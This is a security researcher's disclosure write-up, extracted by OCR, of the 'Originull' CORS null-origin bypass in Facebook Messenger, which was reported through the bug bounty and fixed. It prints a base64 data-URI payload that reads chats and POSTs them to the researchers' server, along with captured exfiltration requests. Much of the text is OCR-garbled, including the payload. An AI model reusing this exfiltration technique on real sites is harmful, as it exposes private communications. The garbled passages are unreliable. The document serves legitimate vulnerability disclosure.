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Critical Issue Affects Privacy of 1-Billion Facebook Messenger
Users; Potentially Affects Millions of Other Websites

An estimated 1.8-billion active monthly users trust Facebook to keep their accounts,
user details and communications secure. On the one hand, the social network is based
on sharing: users post some 350-million photos daily and nearly 300-thousand statuses
per minute.

On the other hand, there is Facebook Messenger, one of the network’s most popular
features, with 1-billion active monthly users. Unlike photo and status features designed
specifically for sharing and publishing, the power of Messenger is in the ability to
communicate privately.

In this post, we will describe a severe security vulnerability found on Facebook, which
also potentially affects millions of websites using origin null restriction checks,
threatening user privacy and opening site visitors up to malicious entities. The hack,
dubbed “Originull,” enables an attacker to access and view all of a user’s private chats,
photos and other attachments sent via Facebook Messenger. The issue was discovered
and reported to Facebook by team researcher Ysrael Gurt.

The ‘Untechnical’ Explanation

The vulnerability discovered is a cross-origin bypass-attack which allows the hacker to
use an external website to access and read a user’s private Facebook messages.
Normally, the browser protects Messenger users from such occurrences by only
allowing Facebook pages to access this information. However, Facebook opens a
“bridge,” in order to enable “subsites” of Facebook.com to access Messenger
information. A vulnerability in the manner in which Facebook manages the identity of
these subsites makes it possible for a malicious website to access private Messenger
chats.

For example, if the user opens a website to which the hacker has directed them (via a

malicious ad, a security issue, or the hacker’s own website), the hacker can then see all
the Facebook Messenger chats, photos and other attachments which the user sends or
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receives. This happens even if the user sends the messages by way of another
computer, or from their personal mobile device!

= [ httpsy/fwww.bugsec.com; X '\ [ Susan Alacchfgfjbjd Sada: X

i . . /facebook_chat_log_viewer.php
“ C 8 https//www.bugsec.com/fac ok_chat_log_viewer.ph

hijacked chat

100013321275610 Hello

100013386760204 I want to tell vou a secret, will you be the only one reading this?

100013321275610 Deon't worry. this 1s the private facebook chat.

Image 1: The chat appears on the BugSec website. The user ID is shown to the left.

The Technical Explanation

This is a deeper technical explanation of the issue above.

Facebook Messenger chats are managed from a separate server located at the address:
{number}-edge-chat.facebook.com. The chat itself runs on the domain
www.facebook.com.

Communication between the JavaScript and the server is done by XML HTTP Request
(XHR).

In order to access the data that arrives from 5-edge-chat.facebook.com in JavaScript,
Facebook must add the “Access-Control-Allow-Origin” header with the caller’s origin,
and the “Access-Control-Allow-Credentials” header with “true” value, so that the data is
accessible even when the cookies are sent.
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Target. Mipac3-sage-chattacebok.com | #| |7

Image 2: The original request.

So far, this appears to be a normal CORS process. In order to prevent other sites from
accessing the data, Facebook checks the origin header. If the request came from an
unauthorized origin, the server returns 400 with the value “badorigin” in the header “x-
fb-chat-failure-reason.”

8141.7.05 - Temporary Preject - icenzed to Bugzes [single user feenze] - o x

cinow | te [t wcvmcr | oot | corome | e | omtatons | o st [ e |

Target. mtps.ss.eage chattaceboskcom | #| | 7

Image 3: Request from a different origin.
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Now for the good stuff: Facebook also allows normal GET requests to the chat domain.
But normal GET requests do not come with an origin header. The origin header is a
special header sent by the browser only with XHR requests.

Thus, when the server receives a GET request, it does not include the “origin” header. In
many development languages, nonexistent headers are represented by the “null” value.
If Facebook expected to receive “null” in the “origin” header, it would not block
requests from this “origin.”

Most likely, the filtering mechanism is separated from the responder mechanism, and
the responder assumes that the value in the “origin” header is allowed, because if not,
the filter would already have dropped the request. This development design allows
Facebook to add authorized origins by changing code in one position only.

In conclusion, the “null” origin passes the filter check, allowing it to pass as a normal
“GET” request. The responder took the value of the “origin” header from the request,
and placed it as the value for “Access-Control-Allow-Origin” header in the response.

Burp Intruder Repeater Window Help

Sequencer | Decoder | Comparer | Extender PrujeﬂnphnnsTusernphnns Alerts

Target: hitps://5-edge-chat facebook com | .#| | 2|

Raw | Headers | Hex

a

79 idle=l5ismqp=y
1d=1000133022072398st icky_
n HTTP/L.1

) AppleWebKit/537.36 (KHTHL, like Gecko)

9", "seq 4, "u": L00DL3302227238, "ms " [("type” : "chatproxy-presence”, "buddylist": (},"u
e":false, "chatNotif":0, "gamers": [1}1}

BXcULz 0d ARA 0.0 BYIGGL. AUVEDALS;
48584 2FE;
EstateFDEF_5h_5dElm2FrullEuct2F14787
0024443CEChFDp_5£1B13302227235F500

LJ QJ lLJ LLJ Type & search term 0 matches. L;J QJ w lLJ Type & search term 0 matches

Done. 452 bytes | 24,569 milis

Image 4: Request without origin.

In this manner, we ascertained that were we to send a request from the page with a
“null” origin, we would most likely get the “Access-Control-Allow-Origin” header in
response to the “null” origin.
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First, we tested this assumption with a “burp” — a tool enabling us to modify every
request for information. When we sent the request with the origin “null,” Facebook
responded with a “null” value on “Access-Control-Allow-Origin.”

This meant that if we could cause the browser to send “null” in the “origin” header,
we would get a “null” value in the “Access-Control-Allow-Origin.”

7.05 - Temparsry Preject - lcensed ta Bugses singie user izense] - o x
nep

Image 5: Request with “null” origin.
In our testing, we also found that it was possible to use the data scheme in order to

send requests with the origin “null.” When a data scheme is used, the browser sets the
origin to “null” for security purposes.
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Encode to Base64 format

Simply use the form below

<script=alet(document. domain = ™ + document.domain + ™)=</script=

= EMNCODE = (You may also select output charset.)

PHMjcmiwdD5hbGWydCgnZ GjdWH1IbnQuZ Gt Y WIulD0glicgkyBkb2MNAbW N udChkb2
ThaWigkyAnlicpPC9zY 3JpcHO+

Image 6: The example code.

E<html>

H<head>

H<html><head><meta charset="UTF-8"><script>try{window.opener = null;}catch(e) {}</script><meta http-sguiv="Refresh" content="0;
URL—data: text/html ;base6d , PHNI cmlwdDEhbGvydCgnzcsdwl 1bnguzc ot YWl uID0gT i cgRyBkb2N1buvudCEkb2 1haWwdgKyAnTicpPCIzY3IpoHQ+! />
</head>

H<body>
</body>
</html3

Image 7: The final HTML.

€ @ datatext/htmkbase64,PHNjcmiwdD5hbGYydCgnZGojdW1lbnQuZGItYWIulDOglicgKyBkb2 N1 bW\VudC5kb2 1ThaW4gKyAnlicpPCIzY3)pcHQ + x

document.domain =™

Image 8: The HTML in Firefox.
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This page says:

document.domain ="

Image 9: The HTML in Chrome.

Thus, based on data scheme testing, and our knowledge of Facebook handling
methodology, we could produce a valid attack on Messenger chat users.

Some Background on the Facebook Chat API

Facebook uses a continually repeated XHR request to the server to receive newly arrived
messages. The server responds only when a message arrives, or at timeout. Using this
method means that there is always an XHR request waiting for a server response. When
the server responds to a request, JavaScript code opens a new request to the server.

59 S St Prfesins 1705 - Temparay rec - emse 1o e singe i ense] - o x
s con_tep

[ vorost [ promy | sowr | scanver | itter | Rapsin | Secuescer | vscoder | corparer | Extenter | eramctaptons | use sptons | aws |

Target. mtps-ss.eage chat acsboskcom | #| | 2

Image 10: Server response at timeout.
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Target. mtps-ss.eage chat acsboskcom | #| | 2

LLasDiaqpayic paBipuss s exhaisgelinsgs_tocw
oxyestatssaceive BITP/L L

10.0; WOWEA) Apple¥ebELc/53.38 (FHINL, Like Geckel Chrome/53.0.3743.118 Batard/$37.3¢

Image 11: Server response for a new message.

To ensure that the messages arrive in the correct order, every request has a sequence
number (represented by “seq” in the requests).

The request parameters are built using the following steps:
1. Every request is part of a “pool.”
The right “pool” value is sent as a response to an empty request.

81 1.7.05 - Temporary Preject - icensed to Bugses [single usar kcense] - o x

[Tt | vy | s | scaro | e st Ssscr [ ocotr | oroaes | e | Prototons | e o e |

Target. mtps-ss.eage chat acsboskcom | #| | 2

Image 12: Receiving the “pool” value.
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2. Within te ”po‘olw,;' e'\./e;i/ requet is done with a sequece number, beginning with 0.
With th_e response

05 - Temparary

Preject - licansed 12 Bugses [

Target: hitgse4-edge-chat acebask.com | #| | 2

Image 13: The server responds with the messages. Pay attention to the request sequence
number (2), and the response sequence number (3).

Putting this together, we created the following code. This code communicated with the
Facebook API, received the messages, presented them on the page, and sent them to
BugSec server.

priord

> 4 messagesi] del SFDIa ¢ </a>° + SexsPrefi + messagesli].dels.body ¢ mafix:
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This code was converted to the equivalent Base64 string, and inserted as the target of
the Refresh on the meta tag.
<html>

E(head)

H<html><head><meta charset="UTF-8"><script>try{window.cpener = null;}catch(e) {}</script><meta http-eguiv="Refresh" content="0;
URL=data: text/html ;base64, PGhObWw+Cjx0ZWFkPgoBc2NyaXBOPgp2 YXTgc3RpY2 £5UGIVHCAI TCenOwp 2 YXIgY3VycmVudFN1cSA9TDATCNZhei Bsb2dUZXh0 D
0gJzx0c3j48dGgge3REbGUI TnBhZGRpbmc6 IDE4cHG 7T j 5GYWN]1 Ym9vayBDaGF0PC90aDA8 L3Ry Pic7CnZhoi BuonVmaXggPSAnPHRy P x0ZCB2dH] sZT01 cGFKZG1uZz
OgMT JweCT+JzsKdmFy THR]1 eHRQomVmaXggPSAnNPHNWYWAgo3REbGUITMIvemR1 oi 1y YWRpAXM6E TDEycHg 7 TGThY2tnom91bmQt Y2 9sb3T 6 TCNmMWYwZ jAT THBhZGRpbm
¢6IDhweDsgbWFyZ21u0iAl cHYTIJ4nOwp2YXIge3VvmaXggP SAnPCIzZeGFUP jwvdGo+PC90c] 4nOwoKZnVuY 3Rpb24gZ2VOU3RpY2 L5UGOvhbCypIHSKdmFy IHhociA9IG
51dyBYTUxIdHRWUMVxdWVzdCgpOwpdaHIub2 5y ZHFkeXNOYXR1Y 2hhbmdl ID0gZnVuY 3Rph2 4 0KXsKCW1mKHhooi 5y ZWFkeVNOYXR1ID0 9 IDOPIHSKCQL2 YR IgemVzVe
V4dCA9THhocibyZXNwb25zZVR1eHQ7CgkJcmVzVGVAdCA9THI1c1R1eHQuc3Vic3RyaWbnKDEWKTSKCQ1yZXMgPSBKUO 20LnBhenN1KHI1c1R1eHQpOwoJCENOaWNreV
Bvb2wgPSByZXMubGJfaWsmby5wb2 9s0woJCWA1dE]1 1c3NhZ2UoKTsKCKOKf TsKeGhyLm9wZWdo J0dFVCesICdodHRwezovLZULZWRNZS1 JaGFO0ImZhY2Vib2 9rImNvb S
9wdWxsP212Z3NfomVjdj0wIywgdHI1ZSk7Cnhooi 53a¥RoQ3J1 ZGVudGlhbHMgPSBEOonV10wpdaHTuc2VuZehudWx sKTSKEQoKZNVuY 3Rpb24gZ 2V0TWV 2o 2 FnZSgpTH
sKdmFyIHhociA9IGE1dyBY TUXIdHRWUMVXAWVZzdCgpowpdaHIub2 5y ZWFke XNOYXR1 ¥ 2hhbmdl IDOgZnvVuY 3Rpb24oKXsKCWImKHhoci Sy ZWFkeVNOYXR1IDO 9IDORIH
sKCQ12YXTIgcmVzVGVAdCA9THhoci byZXNwh25zZVR1eHQ7CgkJecmVZVGVAdCA2THI1c1R1eHQuce3Vic3RyaWbnKDEWKT sKCQ1 y ZXMgPSBKUO90LnBhenN1KHI1c1R1eH
QpOwoJCQoJCWN1cnd 1bnRTZXErKzsKCQKKCQ1 pZihy ZXMudCAmJ i By ZEMudCAPSANZnVsbFJ1bG9hZCecpCgk JCWN1 cnJ 1 bnRTZXEGPSBy ZXMuc2VxOwoJCQoJCWImKH
J1oy5zZXEgPiBjdXIyZH5 0U2VXKQoJCQ1 JdX Iy ZW5E OU2VXTD0gemVzLnN1 o TsKCQKKCQ1 2¥X TgbWVz o2 FnZXMy PSBy ZXMubXM7 CgkJaWY obWV 2o 2 FnZXMpCgkJCWZ Ve L
h2¥XIgaSA9IDATIGkgPCBLZXNzYWAlcy5sZW5ndGy7IGkrKykgewoJCQkJaWYobWVzo2FnZXNbaV0udHlwZSA9 PSANZGVsdGENKSB7CgkJCQkJaWY obWVze 2 FnZXNbav
0uzGVsdGEurm9keskgewoJCQkICOL sb2dUzZXh0ID0gbGINVEVAACATr IHBY ZWZpe CAT ICC8Y SBocmVmPSJodHRwe zovL3d3dy 5myi5 jb20vIyArIG11e3NhZ2VzW21dim
RI1bHRhLm11c3NhZ2VNZXRhZGFO0YSbhY3RvckZiSWQgKyANnT j4nICsgbWVzc2FnZXNbaV0uZGVsdGEubWVzce2FnZU1 1dGFkYXRhImFjdGO9yRmIJZCATICeB8L2E+JyATTH
R1eHRQomVmaXggKyBtZXNzYHdl ¢l tpXSEkZWx0YS51b2RETCsge3VmaXy 7 CgkIJCQKICHRVY 3VEZWE 0 Lmd 1 dEVS ZW1 1 bnRCeU1 kKCAtZXNZYWA 1 cORpdi cpLmlubmVy SF
RNTCA9TGxVZ1R1eHQT7CgkIJCOkICQoIJCOkICOkvLINIbmQgYWxs IGRhdAGEgdG8gcmVib3R1 IGF0dGF ja2VyCgkJCQkIJCXZheiBzZWSKTGInTDO0gbmV3TFhNTEhOdHBS ZX
F1ZXNOKCk7CgkJCQkICXN1bmRMb2 cub3B1bignUE9TVCesICdodHRwezovL3d3dy5idWdz ZWMuY2 9 tL2ZhY2Vib2 9 rX2NoYXREbGInLnBocCos THRy dWUpOwoJCQkICQ
1zZW5KTGINLNN1bmQobWVze2FnZXNbaviuZeVsdGEUbWVzc2FnZUl1dGFKYXRhImF JdGIyRmIJZCArICC6 ICCgKyBEZXNZzYWAl el tpXSEKZWxX0YS5ib2REKTSKCQkICOQ
19CgkJCQ1 9CgkJCXOKCQKKCQInZXRNZXNZzYWA1KCk7Cgl 9Cn07Cnhoci bvecGVuUKCAHRVONLCANaHROCHM6 Ly 8 1 LWVKZ2UtY2hhdCEmYWN1Ym9vayb jb20vcHVsbD9zZX
E9JyArIGN1conJ1bnRTZXEgKyAnJmNsaWvudG1kPTEmbXNncel 9y ZWHN2 PTAMG3RpY 2 t5X3Rva2VuPTENG3RpY2 t5X3Bvb2w9 JyAr THNOaWNreVBvb2ws THRy dWUpOwpdaH

Tud210aENYZWR1bnRpYWxzID0gdHJI1ZTsKeGhyLnN1bmQobnVsbCk7Cn0KCmd1dFNOaWNreVBvb2woKTsKPC 9z Y3IpcHQ+CjwvaGVhZDAKPGIVZHK+C i x0YWISZSBpZD
0ibWVzco2FnZXNEaXYiPgo8L3RhYmx1Pgo8L2 JvZHk+CjuvaHRtbDA=" />
F</head>

[—E(hody>

W

</body>
</htmly

Image 15: The full payload.

<o e

When the victim entered the malicious page, the code began listening to his Facebook
Messenger chats, and sent them to BugSec server.

[E Burp Suite Professional v1.7.05 - Temporary Project - licensed to Bugsee [single user license]

Burp Intruder Repeater Window Help.

Proxy | Spider | Scanner | mntruger | Repeater | Sequencer | pecoder | comparer | extender | Projectoptions | useroptions | Alerts

[[intercept | HrTPistony | WebSoskets istory | ptins. |

s v Host | metnos | uRL | params [ Edted | stetus | Length | MMEtype | Extension | Tite | comment END | cookies | ime. | Lstenerport |
257 hitps.rrww w bugsec.com POST facebook_chal_log php ] g B HTML php Object not found: @ w701 o19.55.08 8080

2555 [ nitps.rwww bugsec com POST  /facebook_chat_log php €] (S BH WML php Object not found: @ woe 06195058 8080

2535 hitps.s/www.bugsec.com POST sfacebook_chat_log.php @ (S 133 HTML. php. Object not found: @ unoe1 20615.54.26

Request | Response

[ Raw | Params | eaders | e |

POST /facebook_chat_log php HTTR/L 1
Host: wew bugsse. com

Connection: close

Conent-Length: 84

Origin: mull

User-Agenc: Mozilla/s.0 (Windows NT 10.0; WOWS4) AppleWebKit/537.3¢ (FHIML,
Content-Type: text/plain;charsec=UTF-8

Aecepr: w/n

Aeeept-Encoding: geip, dsflats, by

Aecept-Languags: en-US,en;q=0.8

lik¥e Gecko) Chrome/S2.0.2743.1l6 Safari/si7.se

100013385760204: T want to tell you a secret, will you be the only one reading this?

Image 16: The code sends the messages to the BugSec server.
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L

: . . /facebook_chat_log viewer.php
<« C' & https://www.bugsec.com/facebook_chat_log_viewer.ph

hijacked chat

100013321275610 Helle

100013386760204 T want to tell vou a secret, will you be the only one reading this?

100013321275610 Don't worry, this 1s the private facebook chat.

Image 17: The chat appears on BugSec website. The user ID is shown on the left.

Conclusion

The vulnerability was reported to Facebook through its Bug Bounty program. They
responded quickly, and had fixed the vulnerability within several days.
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